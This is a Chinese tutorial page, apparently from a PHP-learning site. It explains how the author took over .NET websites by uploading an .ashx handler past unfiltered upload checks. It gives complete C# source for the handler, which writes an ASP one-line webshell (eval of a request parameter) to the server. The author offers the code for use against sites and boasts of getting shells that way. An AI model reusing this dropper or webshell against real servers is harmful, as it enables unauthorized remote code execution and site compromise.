网站地图    收藏   

主页 > 后端 > 网站安全 >

一年前黑阔用的那个ashx上传详解 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 这段代码相信大家看得懂吧,前几天拿几个.NET的站,在上传问题上,突然想起一年前黑阔们用的那个ashx,于是成功拿下shell。 本程序涉及 .NET程序及上传未过滤ashx格式的。但是发现那个...



这段代码相信大家看得懂吧,前几天拿几个.NET的站,在上传问题上,突然想起一年前黑阔们用的那个ashx,于是成功拿下shell。  本程序涉及 .NET程序及上传未过滤ashx格式的。

但是发现那个ashx代码扔掉了,当时只顾用,没注意代码,  于是百度看了下,其实原理很简单。然后自己简单的写了一个。 这是一个.NET的一般处理程序 可以在浏览器中像asp php  aspx等脚本一样运行。只要能传上他,直接用IO类型生成一下就搞定了。

只要打开地址,即可生成。

上面的变量name是文件名,str变量是一句话,中间用转义符/ 分开  string str=”";   一句话密码那儿是用引号的,用转义符隔开,不然会出问题。

 

这里name是调用上面的变量   获取物理路径,然后写入str。  其实很多过了很久的东西,用着依然好用。

源码

 

<%@ WebHandler Language=”C#” Class=”DisKill” %>
using System;
using System.Web;
using System.IO;
public class DisKill : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = “text/plain”;
string name = “test.asp”;
string str=”<%eval request(\”DisKill\”)%>”;
try
{
StreamWriter sw = new StreamWriter(context.Server.MapPath(name));
sw.Write(str);
sw.Flush();
sw.Close();
context.Response.Write(“上传成功”);
}
catch (Exception)
{
context.Response.Write(“上传失败”);
}
}
public bool IsReusable {
get {
return false;
}
}
}

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论